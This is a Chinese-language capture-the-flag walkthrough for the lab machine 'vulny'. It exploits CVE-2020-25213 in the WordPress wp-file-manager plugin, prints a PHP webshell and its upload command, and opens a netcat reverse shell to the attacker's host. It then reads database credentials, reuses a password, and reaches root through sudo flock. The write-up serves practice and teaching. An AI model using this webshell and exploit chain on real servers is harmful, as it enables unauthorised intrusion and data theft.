信息收集
主机发现
使用 arp-scan 扫描本地网络,发现目标主机:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
192.168.205.236 08:00:27:8c:04:d7 PCS Systemtechnik GmbH目标 IP 为 192.168.205.236,MAC 地址显示为 Oracle VirtualBox 虚拟机。
端口扫描
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.236
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-04 23:58 -0400
Nmap scan report for 192.168.205.236
Host is up (0.00042s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
33060/tcp open mysqlx
MAC Address: 08:00:27:8C:04:D7 (Oracle VirtualBox virtual NIC)开放端口:
- 80/tcp — HTTP(Apache)
- 33060/tcp — MySQL X Protocol
没有 SSH 服务,提权后的交互只能通过反弹 shell 完成。
Web 渗透
80 端口初探
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.236返回 Apache2 Ubuntu Default Page,说明 Web 根目录是默认页面,需要发现隐藏路径。
目录扫描
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u 192.168.205.236
[23:58:56] 301 - 319B - http://192.168.205.236/secret -> http://192.168.205.236/secret/发现 /secret/ 目录。
WordPress 识别
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.236/secret/
Neither <b>/etc/wordpress/config-192.168.205.236.php</b> nor <b>/etc/wordpress/config-168.205.236.php</b> could be found.报错信息暴露了 WordPress 的配置加载逻辑。WordPress 安装在 /secret/ 下,但因为缺少匹配当前 IP 的配置文件所以无法正常运行。
对 /secret/ 继续扫描:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u http://192.168.205.236/secret/
[23:59:55] 200 - 514B - http://192.168.205.236/secret/wp-content/
[23:59:55] 200 - 488B - http://192.168.205.236/secret/wp-content/uploads/目录列表开启,可以浏览 wp-content 结构。
插件枚举
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.236/secret/wp-content/plugins/发现安装了 wp-file-manager 插件。
uploads 目录中还保留了插件安装包:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.236/secret/wp-content/uploads/2020/10/
wp-file-manager-6.O.zip 2020-10-15 11:02 3.5M版本为 6.0。
漏洞确认
使用 nuclei 进行漏洞扫描:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nuclei -u http://192.168.205.236/secret/
[CVE-2020-25213] [http] [critical] http://192.168.205.236/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
[wordpress-wp-file-manager:outdated_version] [http] [info] ["6.0"]确认存在 CVE-2020-25213,这是 wp-file-manager 插件 6.9 之前版本的严重漏洞。插件将 elFinder 的示例连接器文件重命名为 .php 后缀并暴露在公网,允许未认证用户上传和执行任意 PHP 代码。
漏洞利用 — CVE-2020-25213
验证连接器可达
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.236/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
{"error":["errUnknownCmd"]}连接器存活,返回 elFinder JSON 格式错误(因为没传有效命令)。
上传 Webshell
准备一个PHP webshell(cmd.php),通过 elFinder 的 upload 命令上传:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cat cmd.php
GIF89a;
<?php
if(isset($_GET['a']) && isset($_GET['b'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$a($b);
}
?>
<?php phpinfo(); ?>
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl -s -F 'cmd=upload' -F 'target=l1_' -F 'upload[]=@cmd.php' \
http://192.168.205.236/secret/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
{"added":[{"name":"cmd.php","url":"\/secret\/wp-content\/plugins\/wp-file-manager\/lib\/php\/..\/files\/cmd.php"...}]...}上传成功,文件被存储到 lib/files/cmd.php。
验证代码执行
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 'http://192.168.205.236/secret/wp-content/plugins/wp-file-manager/lib/files/cmd.php?a=system&b=id'
GIF89a;
uid=33(www-data) gid=33(www-data) groups=33(www-data)以 www-data 身份获得了命令执行能力。
反弹 Shell
在 Kali 上启动监听:
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ penelope -p 8888
[+] Listening for reverse shells on 0.0.0.0:8888通过 webshell 触发反弹 shell:
┌──(kali㉿kali)-[~]
└─$ curl 'http://192.168.205.236/secret/wp-content/plugins/wp-file-manager/lib/files/cmd.php?a=system&b=busybox%20nc%20192%2E168%2E205%2E128%208888%20%2De%20%2Fbin%2Fbash'获得交互式 PTY shell:
[+] [New Reverse Shell] => vulny 192.168.205.236 Linux-x86_64 👤 www-data(33)
[+] PTY upgrade successful via /usr/bin/python3
www-data@vulny:$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)横向移动 — www-data → adrian
WordPress 配置文件泄露
www-data@vulny:$ find / -name 'wordpress' 2>/dev/null
/etc/wordpress
/usr/share/wordpress
...
www-data@vulny:$ ls /etc/wordpress/
config-192.168.1.122.php htaccess
www-data@vulny:$ cat /etc/wordpress/config-192.168.1.122.php
<?php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'myfuckingpassword');
define('DB_HOST', 'localhost');
...数据库密码为 myfuckingpassword。
查看 WordPress 主配置 /usr/share/wordpress/wp-config.php 时发现一段注释:
/* idrinksomewater */这看起来像是故意留下的口令提示。
枚举系统用户
www-data@vulny:$ ls /home/
adrian系统上只有一个普通用户 adrian。
密码复用
尝试用 wp-config.php 中的注释 idrinksomewater 作为密码切换到 adrian:
www-data@vulny:$ su adrian
Password: idrinksomewater
adrian@vulny:$成功切换。
User Flag
adrian@vulny:~$ cat /home/adrian/user.txt
HMViuploadfiles权限提升 — adrian → root
sudo 枚举
adrian@vulny:~$ sudo -l
User adrian may run the following commands on vulny:
(ALL : ALL) NOPASSWD: /usr/bin/flockadrian 可以无密码以 root 身份执行 /usr/bin/flock。
flock 提权
flock 是文件锁工具,但它可以在获取锁后执行任意命令。根据 [GTFOBins](https://gtfobins.github.io/gtfobins/flock/),利用方式如下:
adrian@vulny:~$ sudo /usr/bin/flock -u /tmp/lockfile /bin/bash -p
root@vulny:# id
uid=0(root) gid=0(root) groups=0(root)-u 参数表示释放锁后继续执行后续命令,/bin/bash -p 以特权模式启动 bash,获得 root shell。
Root Flag
root@vulny:# cat /root/root.txt
HMVididit